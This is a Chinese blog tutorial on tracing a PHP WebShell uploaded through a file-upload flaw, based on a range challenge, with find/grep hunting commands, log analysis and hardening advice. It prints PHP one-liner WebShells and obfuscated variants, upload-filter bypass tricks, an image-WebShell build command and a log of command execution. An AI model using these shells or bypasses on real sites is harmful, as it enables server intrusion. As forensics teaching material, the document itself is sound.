
1. 项目概述一次真实的WebShell上传溯源实战最近在复盘一些经典的靶场题目正好翻到了360众测靶场里关于WebShell文件上传分析溯源的第二题。这题目挺有意思它不像很多基础靶场那样只让你找到上传点、传个一句话木马就完事了。它的核心是“分析溯源”这意味着你需要扮演一个安全分析员的角色面对一个已经可能被入侵的系统从一堆看似正常的文件里找出那个隐藏的“坏家伙”并且要搞清楚它是怎么进来的、攻击者可能干了什么。这整个过程非常贴近真实应急响应的场景。对于很多刚入门安全的朋友来说文件上传漏洞可能就停留在“找个上传点传个.php或.jsp文件”的层面。但现实中的攻击要狡猾得多。攻击者会利用各种姿势进行绕过比如修改文件头、利用解析漏洞、进行二次渲染攻击或者干脆把恶意代码藏在图片的EXIF信息里。这道题的价值就在于它逼着你去思考如果一个WebShell已经成功上传并可能被执行了你该如何从服务器的文件海洋中快速、准确地定位到它又该如何通过分析这个WebShell文件本身以及可能存在的访问日志来还原攻击路径甚至评估影响范围接下来我就结合这道靶场题以及我这些年处理类似事件的经验带你走一遍完整的WebShell文件上传分析与溯源流程。我们会从最基础的排查思路讲起深入到各种WebShell的识别技巧最后再聊聊如何从日志和文件中挖掘攻击痕迹。无论你是想巩固文件上传漏洞知识的安全爱好者还是需要提升应急响应能力的运维或开发人员相信这篇内容都能给你带来不少实用的“干货”。2. 核心思路拆解如何系统性地“抓鬼”当你接手一个疑似存在WebShell的服务器时切忌像无头苍蝇一样乱翻。一个系统性的排查思路能极大提升效率并降低遗漏的风险。对于这道靶场题乃至真实环境我们的核心思路可以拆解为四个层次入口点推测、文件系统筛查、日志关联分析和影响面评估。2.1 入口点推测攻击最可能从哪里来在开始翻文件之前先动脑。根据靶场描述“WebShell文件上传”我们几乎可以锁定问题出在系统的文件上传功能上。但这只是一个方向我们需要更具体功能点定位这个网站有哪些地方允许用户上传文件常见的包括用户头像上传、文章附件上传、后台插件/主题安装、导入数据等功能。在靶场环境中题目通常会给出明确的URL或功能提示。技术栈推断网站是用什么语言开发的PHP、Java、Python还是ASP.NET这直接决定了你需要重点寻找什么后缀的WebShell如.php,.jsp,.asp,.aspx,.py。绕过姿势猜想如果常规的.php文件上传被拦截攻击者可能用了哪些绕过手法这能帮助我们识别一些“畸形”的WebShell文件。常见的比如后缀绕过.php5,.phtml,.phps,.php7(PHP环境).jspx,.jspf(Java环境)。解析漏洞利用服务器配置错误使xxx.jpg.php或xxx.php.jpg被当作PHP执行。内容绕过在文件开头添加图片魔数如GIF89a制作图片马。大小写、点空格绕过Php,.PHP.(Windows系统可能忽略后缀后的点)。双写、特殊字符绕过pphphp(如果过滤规则是删除php字符串)。在靶场中这些信息可能隐含在题目描述或网站界面中。在真实场景你需要和开发、运维沟通并查看网站架构文档。2.2 文件系统筛查大海捞针的实用技巧确定了大概方向就要开始动手在服务器上找了。盲目搜索所有文件效率极低我们需要用巧劲。第一步锁定可疑目录。WebShell要能被访问和执行通常必须位于Web服务的根目录如/var/www/html,C:\inetpub\wwwroot或其子目录下。攻击者也可能尝试上传到临时目录、缓存目录或者利用某些文件包含漏洞去执行其他路径的文件但Web可访问目录是首要检查点。此外一些具有写权限的目录也需留意比如/uploads/,/images/,/assets/这些通常是上传功能指定的存储位置。第二步使用特征进行高效搜索。这是最核心的技巧。我们利用Linux的find命令或Windows的搜索功能结合WebShell的常见特征进行查找按时间筛选查找最近被修改或创建的文件尤其是可疑时间段内的。find /var/www/html -type f -mtime -1查找一天内修改的文件。按大小筛选一句话WebShell通常很小几百字节到几KB查找特定大小范围内的文件。find /var/www/html -type f -size -10k。按名称筛选搜索包含可疑关键词的文件名。find /var/www/html -type f -name “*.php” | xargs grep -l “eval\|assert\|system\|passthru\|shell_exec”。这条命令先找所有.php文件然后用grep搜索其中包含危险函数名的文件。直接内容搜索在全目录或特定文件中搜索WebShell常用代码片段。grep -r “eval($_POST” /var/www/html或grep -r “base64_decode” /var/www/html。注意grep搜索时攻击者可能会对代码进行混淆如编码、加密因此单一的字符串可能搜不到。需要结合多种特征并考虑使用更专业的WebShell查杀工具进行辅助。2.3 日志关联分析还原攻击链找到WebShell文件只是第一步我们还需要知道攻击者是怎么传上来的以及他之后做了什么。Web服务器访问日志如Nginx的access.log Apache的access_log是宝贵的“监控录像”。定位上传请求在日志中搜索上传接口的路径如/upload.php,/api/upload。重点关注POST请求查看其状态码。一个成功的上传通常是200或302失败可能是403、500等。找到那条成功上传的日志记录下时间、来源IP、User-Agent和上传的文件名。定位WebShell访问请求用你找到的WebShell文件名在日志中搜索。例如找到了shell.php就搜索GET /uploads/shell.php。查看访问这个文件的IP、时间、以及传递的参数在URL或POST body中。这些参数往往就是攻击者执行的命令比如?cmdwhoami或POST数据中的passsystem(‘ls -la’)。关联分析对比上传请求和后续访问请求的IP、时间间隔。如果是同一IP证据链就完整了。攻击者可能还会在访问WebShell后进行内网探测、下载其他工具、提权等操作这些都会在日志中留下痕迹如访问了不常见的端口或路径。2.4 影响面评估损失有多大找到并分析完WebShell后必须评估影响数据泄露WebShell是否位于数据库配置文件附近攻击者是否可能通过它下载了数据库备份或配置文件包含密码权限提升攻击者通过WebShell获取了什么权限是Web服务用户如www-data,nobody还是通过漏洞提升到了root内网渗透攻击者是否以该服务器为跳板扫描或攻击了内网其他机器持久化后门除了这个WebShell攻击者是否添加了计划任务crontab、启动项、SSH密钥或其他的后门账户在靶场中这一步可能表现为获取某个特定标志flag或完成指定操作。在现实中这决定了事故的定级和后续的修复、报告工作。3. 核心工具与排查命令实战思路清晰了我们来看看具体用什么工具和命令来落地。以下命令均以Linux环境为例Windows思路类似工具可选用Findstr、PowerShell或图形化工具。3.1 文件排查利器find与grep的组合拳find和grep是安全排查的“瑞士军刀”组合使用威力巨大。场景一快速定位近期可疑的PHP文件假设Web根目录是/var/www/html我们怀疑最近三天内被植入了WebShell。# 查找3天内被修改的所有php文件并按时间倒序排列 find /var/www/html -name “*.php” -mtime -3 -type f -exec ls -la {} \;如果文件太多可以只输出路径find /var/www/html -name “*.php” -mtime -3 -type f场景二查找包含特定危险函数的文件WebShell常用eval(),assert(),system(),passthru(),file_put_contents()等函数。# 在指定目录递归搜索包含 ‘eval(‘ 的文件并显示行号 grep -r –include”*.php” “eval(” /var/www/html -n # 同时搜索多个关键词用正则表达式 grep -r –include”*.php” -E “(eval|assert|system|passthru)\(“ /var/www/html -n # 更全面的搜索包括一些编码函数和危险配置 grep -r –include”*.php” -E “(base64_decode|gzinflate|str_rot13|php://input|allow_url_include)” /var/www/html -n场景三查找非常规后缀的WebShell攻击者可能将PHP代码藏在.jpg,.txt甚至无后缀文件中。# 在所有文件中不限定后缀搜索php代码特征 find /var/www/html -type f | xargs file | grep “PHP script” # 或者使用更精确的内容搜索 find /var/www/html -type f -exec grep -l “?php” {} \;3.2 专业查杀工具河马WebShell查杀对于混淆、加密的WebShell人工查找效率低且容易遗漏。这时就需要专业的查杀工具。“河马WebShell查杀”是一款口碑很好的开源工具它采用静态特征、动态模拟、机器学习等多种检测方式。使用方法下载与安装从其官网或GitHub发布页下载对应操作系统的版本。Linux下通常是命令行工具。基本扫描# 扫描整个目录 ./hm scan /var/www/html # 指定扫描特定后缀 ./hm scan -e php,jsp,asp /var/www/html结果分析河马会输出可疑文件的路径、危险等级和检测到的特征如“加密后门”、“一句话木马”。对于标记的文件需要人工进行二次确认因为可能存在误报如某些正常的加密代码或框架代码。实操心得不要完全依赖工具的扫描结果。工具能帮你快速缩小范围但最终判断需要结合上下文。例如一个在/vendor/Composer依赖目录下的加密文件很可能是正常的库文件而一个在/uploads/目录下的同名文件就极其可疑。将工具扫描结果与find命令的时间、权限筛选结合起来判断会更准确。3.3 日志分析技巧grep, awk, sed假设你的Nginx访问日志路径是/var/log/nginx/access.log。1. 找到上传请求# 搜索包含 ‘upload’ 路径的POST请求 grep “POST.*upload” /var/log/nginx/access.log # 搜索特定时间段的上传请求假设攻击发生在今天 grep “POST.*upload” /var/log/nginx/access.log | grep “$(date ’%d/%b/%Y’)” # 更精确地查找状态码为200或302的上传请求 grep “POST.*upload.*HTTP/1.[01]” 200\|302″ /var/log/nginx/access.log2. 找到对可疑文件的访问假设你发现了一个可疑文件suspect.php。# 搜索对该文件的访问记录 grep “GET.*suspect.php” /var/log/nginx/access.log grep “POST.*suspect.php” /var/log/nginx/access.log # 查看访问该文件的IP排行找到最频繁的攻击源 grep “suspect.php” /var/log/nginx/access.log | awk ‘{print $1}’ | sort | uniq -c | sort -nr3. 提取攻击者执行的命令WebShell常通过GET参数或POST数据传递命令。我们需要从日志中提取这些参数。# 查看访问 suspect.php 的完整URL包含参数 grep “suspect.php” /var/log/nginx/access.log | awk ‘{print $7}’ # 如果参数在POST body中标准access.log可能不记录需要检查应用日志或配置Nginx记录POST body不推荐生产环境长期开启可在排查时临时开启。4. 关联IP的所有活动锁定一个可疑IP如192.168.1.100后查看它在特定时间段内的所有活动。grep “192.168.1.100” /var/log/nginx/access.log | grep “$(date ’%d/%b/%Y’)”3.4 系统状态检查攻击者上传WebShell后可能会尝试持久化或提权。检查异常进程ps auxf或top查看有无异常进程特别是消耗大量CPU、内存或者名字奇怪的进程。检查网络连接netstat -antp或ss -antp查看有无可疑的外连或监听端口。检查计划任务crontab -l查看当前用户的计划任务。同时检查系统级任务ls -la /etc/cron.*/和/var/spool/cron/。检查新增用户和SSH密钥tail /etc/passwd检查/home/目录下有无新增用户目录检查~/.ssh/authorized_keys有无陌生密钥。4. 常见WebShell类型与特征分析知道怎么找还得知道找什么。WebShell形态各异了解它们的特征能让你更快识别。4.1 一句话木马最基础这是最经典的WebShell代码极短功能强大。PHP示例?php eval($_POST[‘pass’]);?特征eval()函数执行POST参数pass传入的任意代码。搜索eval($_POST或eval($_GET。变种与混淆?php assert($_REQUEST[‘x’]);? ?php $a”ass”.”ert”; $a($_POST[‘cmd’]);? // 字符串拼接 ?php preg_replace(‘/.*/e’, $_POST[‘code’], ”);? // 利用preg_replace的/e模式执行代码特征assert函数、动态函数调用、preg_replace的/e修饰符PHP5.5后已废弃但老系统仍有。4.2 小马功能增强型在一句话的基础上增加了文件管理、数据库操作等常见功能通常有一个简单的密码验证。特征代码量在几十到几百行。包含明显的功能模块如if($_POST[‘action’]’file’)、if($_POST[‘action’]’sql’)。会有密码验证逻辑如if($_POST[‘pwd’]!’123456′) die(‘Access Denied’);。搜索action、pwd、password等关键词以及scandir、mysql_connect等函数。4.3 大马全功能管理型功能非常全面有图形化界面集成了文件管理、数据库管理、命令执行、端口扫描、提权检测、反弹Shell等众多模块。例如经典的“中国菜刀”连接的马。特征代码体积大几十KB以上。有完整的HTML界面代码。函数和类定义非常多且复杂。通常会进行大量的代码混淆和加密来躲避查杀。直接搜索常见的大马特征字符串可能效率低需要依靠工具或查找文件头尾的特定注释、版权信息。4.4 图片马与隐藏WebShell这是绕过WAF和简单文件类型检查的常用手段。制作方法将一个正常的图片文件如test.jpg和一个WebShell文件如shell.php通过copy命令Windows或cat命令Linux合并。copy test.jpg /b shell.php /a webshell.jpg。或者直接在图片的EXIF信息、文件末尾附加PHP代码。特征文件头是图片的魔数如GIF89a,FF D8 FF E0for JPEG但文件内容中包含?php等标签。用file命令查看可能会显示“JPEG image data, …”但用strings命令或文本编辑器打开末尾就能看到代码。查找这类文件可以搜索同时包含图片头和PHP头的文件find /var/www/html -type f -exec grep -l “GIF89a” {} \; | xargs grep -l “?php”但更常见的是攻击者利用服务器解析漏洞如IIS6.0的*.asp;.jpg解析漏洞Apache的AddType误配置使服务器将图片文件当作脚本执行。这种情况下文件本身可能没有PHP代码但通过访问picture.jpg.php这样的路径触发解析。排查时需要关注服务器配置和奇怪的访问日志。4.5 无文件WebShell与内存马这是更高级的威胁不依赖实体文件。类型利用PHP动态执行通过eval($_POST[‘code’])执行代码但代码不写文件。利用.htaccess或user.ini修改这些配置文件使所有或特定目录下的图片文件被当作PHP解析。内存马Java/Python等通过反序列化等漏洞将恶意类注入到应用服务器的内存中运行重启后消失。常见于Java的Servlet、Filter、Controller内存马。排查难点传统文件扫描无效。需要排查配置文件、分析进程内存、审查中间件如Tomcat的运行时组件。对于内存马通常需要借助专业的内存分析工具或重启服务来清除。5. 靶场实战推演与深度分析现在让我们把以上所有思路和技巧代入到“360众测靶场第2题”的模拟场景中。假设我们获得了一个靶机环境的访问权限SSH或已上传的简单WebShell目标是找到隐藏的WebShell并分析攻击过程。5.1 环境初探与信息收集首先我们需要了解战场。# 1. 查看当前用户和权限 whoami id # 2. 查看操作系统和内核版本 uname -a cat /etc/os-release # 3. 定位Web根目录 # 常见位置 ls -la /var/www/html/ ls -la /usr/share/nginx/html/ ls -la /home/*/public_html/ # 通过查看Nginx/Apache配置确认 find /etc -name “*nginx*” -type f | xargs grep “root” 2/dev/null find /etc -name “*apache*” -type f | xargs grep “DocumentRoot” 2/dev/null # 4. 查看网站配置文件寻找上传功能线索 # 假设是PHP站点查看是否有upload、file等命名的文件 find /var/www/html -name “*upload*” -o -name “*file*” | grep -E “\.(php|inc|html)$”假设我们确定Web根目录是/var/www/html并且发现存在/var/www/html/upload.php和/var/www/html/uploads/目录。5.2 系统性文件排查从最可能的地方开始。# 1. 重点检查上传目录 ls -la /var/www/html/uploads/ # 注意文件的时间戳、权限尤其是是否有可执行权限、大小 # 2. 查找uploads目录下所有文件并按时间倒序排列 find /var/www/html/uploads/ -type f -exec ls -lt {} \; # 3. 查找最近一天内被修改的文件假设攻击刚发生 find /var/www/html -type f -mtime -1 2/dev/null | head -20 # 4. 查找所有PHP文件并检查内容 # 先找名字可疑的 find /var/www/html -name “*.php” | grep -i -E “(shell|cmd|backdoor|admin|config|test)” # 再对所有PHP文件进行危险函数扫描 find /var/www/html -name “*.php” -exec grep -l -E “(eval|assert|system|passthru|shell_exec|exec|pcntl_exec)\(“ {} \;假设通过上述命令我们在/var/www/html/uploads/目录下发现了一个名为avatar_12345.jpg的文件但修改时间非常新且大小与普通头像图片不符比如有5KB比普通压缩后的头像大一点。5.3 可疑文件深度分析检查这个avatar_12345.jpg。# 1. 用file命令查看文件类型 file /var/www/html/uploads/avatar_12345.jpg # 输出可能为JPEG image data, JFIF standard 1.01, ... 或者 ASCII text (如果包含大量文本) # 2. 用head和tail查看文件头和尾 head -c 100 /var/www/html/uploads/avatar_12345.jpg | xxd # 查看二进制头 tail -c 500 /var/www/html/uploads/avatar_12345.jpg # 查看文件末尾 # 3. 用strings查看文件中的可读字符串 strings /var/www/html/uploads/avatar_12345.jpg | grep -A5 -B5 “?php\|eval\|assert” # 4. 直接使用grep搜索PHP标签 grep -a “?php” /var/www/html/uploads/avatar_12345.jpg发现file命令显示它是JPEG图片但grep -a将二进制文件当文本处理在文件末尾发现了?php eval($_GET[‘c’]);?。这正是一个典型的图片马攻击者上传了包含一句话木马的图片并可能利用了服务器的某种解析漏洞或者.htaccess配置使这个jpg文件能够被当作PHP执行。5.4 日志溯源攻击路径现在我们需要从日志中验证攻击路径。# 1. 找到Nginx访问日志 find /var/log -name “*access*.log” 2/dev/null | head -5 # 2. 假设日志在 /var/log/nginx/access.log搜索上传请求 # 先看看日志格式 head -1 /var/log/nginx/access.log # 假设格式是$remote_addr - $remote_user [$time_local] “$request” $status $body_bytes_sent “$http_referer” “$http_user_agent” # 3. 搜索上传接口的访问记录 grep “POST.*upload” /var/log/nginx/access.log | tail -10 # 假设找到一条192.168.1.666 - - [10/Oct/2023:15:30:22 0800] “POST /upload.php HTTP/1.1” 200 1234 “http://target.com/profile.php” “Mozilla/5.0 ...” # 4. 搜索对可疑图片文件的访问记录 grep “avatar_12345.jpg” /var/log/nginx/access.log # 假设找到多条 # 192.168.1.666 - - [10/Oct/2023:15:31:00 0800] “GET /uploads/avatar_12345.jpg HTTP/1.1” 200 5432 “-” “Mozilla/5.0 ...” # 192.168.1.666 - - [10/Oct/2023:15:31:05 0800] “GET /uploads/avatar_12345.jpg?csystem(‘id’); HTTP/1.1” 200 89 “-” “curl/7.68.0”分析从日志可见IP192.168.1.666在15:30:22成功POST上传了文件状态码200。约一分钟后同一IP访问了上传的avatar_12345.jpg文件并且带了一个参数csystem(‘id’);。这证实了攻击者上传图片马后通过GET参数c传递系统命令并执行。5.5 漏洞点分析与加固建议通过以上分析我们基本完成了溯源漏洞点/upload.php文件的上传功能存在缺陷。可能未对文件内容进行严格检查仅检查了Content-Type或后缀导致图片马被上传。同时服务器配置可能存在问题导致.jpg文件被当作PHP执行可能是AddType application/x-httpd-php .jpg的错误配置或是存在uploads目录下的.htaccess文件包含了SetHandler application/x-httpd-php。攻击流程攻击者访问upload.php- 上传包含WebShell的图片马avatar_12345.jpg- 直接访问该文件并传递命令参数?ccommand- 服务器错误地将其作为PHP解析并执行命令。加固建议文件上传处使用白名单验证文件后缀。对文件内容进行检测如使用getimagesize()函数验证图片真实性或进行二次渲染。重命名上传的文件如使用随机哈希值避免被直接猜测路径。将上传文件存储在Web根目录之外通过脚本动态读取和输出。服务器配置检查并删除或修正错误的AddType指令。检查uploads等目录下是否有恶意的.htaccess或user.ini文件。确保上传目录没有执行脚本的权限在Nginx/Apache配置中为上传目录设置location ~* \.(php|jsp|asp)$ { deny all; }。6. 进阶挑战与疑难问题排查在实际环境或更复杂的靶场中你可能会遇到以下情况6.1 WebShell被加密或高度混淆这是为了绕过基于特征的查杀。现象找到的PHP文件内容是一大串无意义的字符或者全是base64_encode、gzcompress、str_rot13等编码函数。分析方法手动解码如果看到eval(gzinflate(base64_decode(‘…’)));可以尝试将‘…’部分复制出来用在线工具或本地PHP脚本进行base64_decode和gzinflate解码。注意绝对不要在本地生产环境执行可疑代码应在隔离的虚拟机或沙箱中分析。静态分析工具使用如php -l检查语法或用代码编辑器查看结构。寻找最终的eval或assert调用点。动态调试在绝对隔离的环境中将解码后的代码进行美化然后逐行分析其逻辑。通常混淆代码最终都会调用一个动态函数来执行Payload。6.2 日志被清理或绕过的攻击高水平的攻击者会上传日志清理脚本或使用无日志攻击技术。应对检查日志完整性查看日志文件大小是否异常小时间戳是否有断层。查看历史命令history命令如果攻击者未清理.bash_history。检查其他日志源如/var/log/auth.logSSH登录日志、/var/log/syslog、数据库日志、应用自身的日志文件。寻找残留痕迹即使访问日志被删攻击者执行命令产生的输出、创建的文件、网络连接记录如netstat历史需通过审计工具可能仍有残留。6.3 权限维持与后门排查攻击者可能不止留了一个WebShell。全面排查检查所有Web可写目录find /var/www/html -type d -perm -ow查找其他可写目录。检查计划任务crontab -l(当前用户)ls -la /etc/cron.hourly/ /etc/cron.daily/ …cat /etc/crontab。检查系统服务systemctl list-unit-files –typeservice | grep enabled关注可疑的新服务。检查动态链接库劫持查看/etc/ld.so.preload文件。检查SSH后门对比/etc/ssh/sshd_config与备份检查~/.ssh/authorized_keys有无陌生密钥。检查内核模块lsmod查看已加载模块。6.4 使用专业工具进行深度检测对于大型站点或深度隐藏的WebShell可以结合多种工具。ClamAV一款老牌的开源杀毒引擎可以扫描文件系统中的恶意软件包括部分WebShell。sudo freshclam # 更新病毒库 sudo clamscan -r /var/www/html --bell -i # 递归扫描只显示感染文件RKHunter, Chkrootkit用于检查Rootkit和系统后门可以发现一些隐藏进程、文件等。LMD (Linux Malware Detect)一款专门为Linux环境设计的恶意软件扫描工具对WebShell检测有较好的效果。最后也是最重要的经验在真实环境中一旦确认入侵应立即隔离服务器断网然后进行取证和分析。切忌在未备份的情况下直接删除文件或修复漏洞以免破坏证据或导致业务中断。取证完成后再从干净的备份恢复系统并修复所有已发现的漏洞。整个WebShell分析溯源的过程就是一场与攻击者斗智斗勇的侦探游戏需要耐心、细心和系统的知识。希望这篇基于靶场实战的深度解析能为你提供一套清晰可循的“破案”思路。